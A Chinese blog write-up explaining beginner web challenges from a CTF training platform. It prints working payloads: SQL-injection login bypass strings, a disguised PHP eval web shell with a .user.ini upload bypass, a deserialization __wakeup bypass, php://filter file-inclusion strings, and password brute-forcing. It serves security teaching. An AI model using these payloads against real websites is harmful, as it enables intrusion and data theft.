【攻防世界】web新手题知识点WriteUP及知识点讲解(超超超详细)

==>Training-WWW-Robots

=>知识点: 在CTF比赛中,查看网页的robots.txt文件可以帮助确定哪些页面可以被抓取,哪些页面不应该被抓取。 例如,如果想找到某个网站的漏洞,可以查看该网站的robots.txt文件,以确定哪些页面可以被搜索引擎访问,哪些页面不应该被访问。 本题中 robotx.txt文件泄露了关键的flag存在的文件,我们通过访问fl0g.php即可找到flag,得到题解。

进入环境
在这里插入图片描述在url处进入 /robots.txt 查看到以下页面

robots.txt

在这里插入图片描述尝试访问fl0g.php文件得到flag
在这里插入图片描述

==>PHP2

=》知识点: 简单的代码审计、php源代码文件 index.phps: phps 文件就是 php 的源代码文件,通常用于提供给用户(访问者)查看 php 代码,因为用 户无法直接通过 Web浏览器看到 php文件的来内容,所以需要用 phps文件代替。其实,只 要不用 php 等已经在服务器中注册过的 MIME 类型为文件即可,但为源了国际通用,所以才 用了 phps 文件类型
进入环境查看index.phps文件,查看网页源代码后,分析代码可知使用了GET传参
在这里插入图片描述分析代码:
第一步

要让“admin”==$_GET[id]不成立
方法:对admin进行url编码,或者对其中某一个字母进行编码,我们对admin进行rul编码

![在这里插入图片描述](https://img-blog.csdnimg.cn/f3f75a151d3f40f88a93f51928f6054b.png)对admin中的a进行url编码为:%61dmin

第一次比较 if("admin"==="%61dmin") 不成立
第二步

经过GET[id]=urldecode(_GET[id]);后 使得$_GET[id]==“admin"成立。
即 经过urldecode解码后变成admin

需要注意的是当传入参数时,浏览器会对非ASCII码的字符进行一次urldecode编码,运行时会自动进行一次urldecode编码,因为我们在url中直接运行,所以浏览器会进行一次url解码, 故我们还需要在进行一次url编码,即对admin进行俩次编码再运行

urlcode(%2561)=%61
urldecode(%61)=a

故 payload为:

http://61.147.171.105:53553/index.php/?id=%2561dmin

在这里插入图片描述

==>unserialize3

=》知识点:一个比较简单的php反序列化题目,其中主要用到的是php中的function_wakeup()魔术 绕过方法:属性只要大于原本类的属性值,就可以实现绕过。
PHP常见魔术

魔术运行条件
__construct()创建对象时触发
__destruct()对象被销毁时触发
__call()在对象上下文中调用不可访问的方法时触发
__callStatic()在静态上下文中调用不可访问的方法时触发
__get()用于从不可访问的属性读取数据
__set()用于将数据写入不可访问的属性
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发
__invoke()当脚本尝试将对象调用为函数时触发
_wakeup()unserialize() 会检查是否存在一个 __wakeup() 方法

对于本题 编写php代码如下:
在这里插入图片描述运行后得到xctf的序列化结果
在这里插入图片描述将结果中xctf的属性值大于原本的属性值,即可实现绕过
构建payload:O:4:"xctf":2:{s:4:"flag";s:3:"111";}
得到最终结果
在这里插入图片描述

==>ics-06

=>知识点:使用BP进行抓包爆破
进入环境后只能点击报表中心
在这里插入图片描述进入报表中心后发现url地址中id=1 可能id的值是破解此题的关键,这道题很明显不是sql注入类型的题目。那我们尝试进行抓包然后对id的值进行爆破
在这里插入图片描述
发现数值为2333时返回不一致 说明2333为特殊id
在这里插入图片描述

==>view_source

知识点:利用开发者工具查看网页源代码

在这里插入图片描述查看网页后没有任何帮助,尝试查看源代码,我使用的是firefox,F12快捷键打开开发者工具,点击查看器,即可看到flag
在这里插入图片描述

==>get_post

知识点:浏览器的两种传参方式 GET和POST传参方式

在这里插入图片描述

http://61.147.171.105:65323/?a=1

在这里插入图片描述题目又让我们进行POST传参,我们使用hackbar进行post传参

在这里插入图片描述得到flag

==>robots

知识点:robots协议:robots是网站跟爬虫间的协议,用简单直接的txt格式文本方式告诉对应的爬虫被允许的权限,也就是说robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。我们可以查看robots文件来查看一些文件名称。
在这里插入图片描述访问页面空白,根据提示进行访问robots文件,查看robots.txt文件内容
在这里插入图片描述
发现关键提示:flag_1s_h3re.php flag很有可能存在于该文件,尝试进行访问该文件
在这里插入图片描述

==>backup

知识点:备份文件名称主要拓展名主要包括了:.GIT、.SVN、.BKF、.BAK等等

在这里插入图片描述

index.php的备份文件名:通常是:index.php.bak或index.php.backup。

尝试访问index.php.bak查看index.php的备份文件

访问:61.147.171.105:62973/index.php.bak

自动下载了index.php.bak备份文件,用记事本打开发现flag
在这里插入图片描述

==>cookie

知识点:①什么是cookies?Cookie,有时也用其复数形式 Cookies。类型为“小型文本文件”,是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息。 ②如何查看cookie。使用开发者工具或使用抓包查看。
在这里插入图片描述打开开发者工具,查看存储,将lookhere中的值改为cookie.php 然后进行访问cookie.php文件,尝试查看cookie的内容
发现让我们查看http的响应
在这里插入图片描述我们在开发者工具栏中找到网络 即可看到http的响应文件,查看到flag
在这里插入图片描述

==> disabled_button

知识点:本题涉及到的是前端的知识,disabled="" 的作用,仍然需要我们使用到开发者工具
在这里插入图片描述
在开发者工具中查看器中审查元素,发现有一行disabled=“” 将其删除
在这里插入图片描述发现flag可以点击,点击后在查看器中发现flag
在这里插入图片描述

==> weak_auth

知识点:使用BP抓包抓取特定的流量包并进行测试爆破密码

在这里插入图片描述首先尝试发现账户存在admin,密码未知
在这里插入图片描述尝试对登录请求进行抓包,抓取账号密码信息,发入测试器中使用狙击手模式进行爆破密码
在这里插入图片描述爆破后,当密码为123456时,服务器返回响应不同,故密码为123456
在这里插入图片描述使用账号admin,密码123456访问页面,获得flag
在这里插入图片描述

==> simple_php

知识点:PHP弱相等,php中有两种比较符号①===会同时比较字符串的值和类型 ②==会先将字符串换成相同类型,再作比较,属于弱类型比较
在这里插入图片描述
分析代码可知,php中的弱类型比较会使’abc’ == 0为真,所以输入a=abc时,可得到flag1,

is_numeric() 函数会判断如果是数字和数字字符串则返回 TRUE,否则返回 FALSE,且php中弱类型比较时,会使(‘1234a’ == 1234)为真,所以当输入a=abc&b=1235a 即可成功得到flag
在这里插入图片描述

==>baby_web

知识点:一般网页的首页都是index.php
在这里插入图片描述尝试访问index.php发现又被重新发送到了1.php,果断使用抓包看服务器响应。(将抓到的包发送到重发器即可查看响应)
在这里插入图片描述在响应头中发现flag

==>inget

简单的sql注入题目
在这里插入图片描述

尝使用万能密码登录,发现直接注入成功

id=' or ''='
id=' or 1=1 -- +

在这里插入图片描述

==> easyupload

简单的文件上传漏洞
在这里插入图片描述很明显,这是一道恶意文件上传漏洞
首先编写恶意代码文件

新建.user.ini文件
GIF89a
auto_prepend_file=a.jpg

对文件上传的同时开启抓包,将Content-Type: application/octet-stream修改为Content-Type: image/jpg
在这里插入图片描述
放包后成功上传
在这里插入图片描述
新建a.txt文件,内容为

GIF89a
<?=eval($_REQUEST['cmd']);?>

保存后将文件后缀修改为.jpg
在这里插入图片描述
在这里插入图片描述
直接上传即可上传成功
打开开发者选项查看文件地址后使用蚁剑连接数据库,即可查看flag文件
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

==>fileinclude

知识点:文件包含漏洞,也是一种注入型漏洞,其本质就是输入一段用户能够古控制的脚本或者代码,并让服务器运行
进入环境很明显是一道文件包含题目,
在这里插入图片描述尝试查看源代码,找到对题解有帮助的php代码段

在这里插入图片描述

$lan=$_COOKIE['language'];        ==>        $lan由cookie传入

if条件中        ==>        $lan不存在则包含english.php,存在则会将$lan的值拼接.php然后进行包含。

分析到这里方法就明确了,通过cookie传入文件包含的payload,读取源码。

尝试抓包添加cookie内容

payload为:language=php://filter/read=convert.base64-encode/resource=

在这里插入图片描述
获得一段base64编码,尝试解码即可获得flag
在这里插入图片描述

==>fileclude

==>知识点:   文件包含漏洞 php伪协议  部分php函数

include函数:包含并执行变量或者文件。
if:是if语句用来判断。
isset:判断变量是否存在,值是否为NULL。
$_GET:接收表单提交数据,并把数据附加到url链接当中。
逻辑运算符&&:条件都满足才会执行。
关系运算符!:不、反的意思。
empty函数:只用来判断变量的值是否为NULL。
file_get_contents() 函数:把整个文件读入一个字符串中。
===:判断值是否相同并且判断值的类型是否相同。
else:条件都不满足的时候才会执行它。
die函数:输出内容并退出程序。

在这里插入图片描述分析题目表示存在文件flag.php,我们的最终目的是访问并执行flag.php文件,主要思考第四个if内容,file_get_contents()函数包含file2变量,当满足file2的值等于hello ctf以及值的类型为字符串的时候,执行包含在include中的file1。
思路使用php伪协议, 使用php://input输入流来绕过file_get_contents函数,达到执行file1的目的,同时使用php://filter伪协议来读取源代码,拿到flag
构造php://filter伪协议规则

php://filter/convert.base64-encode/resource=flag.php

完整代码:

?file1=php://filter/convert.base64-encode/resource=flag.php&file2=php://input

先引用file2变量来进行请求数据,把flag.php的内容赋值给file1变量。

使用bp抓包并修改数据包内容
在这里插入图片描述成功得到base64编码后的内容,解码即可
在这里插入图片描述在这里插入图片描述

  • 3
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Markdown 是一种轻量级的标记语言,用于在纯文本中写作和排版。在 CTF Web 中,掌握 Markdown 的知识点非常重要。 首先,了解 Markdown 的语法是必不可少的。Markdown 有很多简洁和易于记忆的语法,比如使用井号表示标,使用星号或下划线进行强调,使用反引号表示代码块等等。掌握这些语法可以帮助我们在 CTF 比赛中编写漂亮且易于阅读的文档。 其次,了解 Markdown 的转义字符和特殊字符是必要的。在 Markdown 中,有一些特殊字符需要用转义字符来表示,比如使用反斜杠来转义星号、下划线等特殊字符。了解这些细节可以避免在编写文档时出现错误或混淆。 此外,掌握 Markdown 的扩展语法也是很有帮助的。尽管标准的 Markdown 语法已经很强大,但一些扩展语法可以提供更多的功能,比如插入图片、创建表格、使用脚注等等。了解这些扩展语法可以让我们在编写文档时更加灵活和高效。 最后,了解应用 Markdown 的工具和平台也是重要的。在 CTF Web 中,我们经常需要使用 Markdown 来编写 Writeup 或记录漏洞分析过程。了解如何使用 Markdown 的编辑器、插件或在线平台可以更快地编写文档并且更好地展示我们的成果。 综上所述,掌握 Markdown 的知识点对于 CTF Web 是非常重要的。它不仅可以帮助我们编写美观而易读的文档,还可以提高我们在比赛中的效率和表达能力。因此,我建议在学习 CTF Web 的过程中,加强对 Markdown 的理解和应用。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值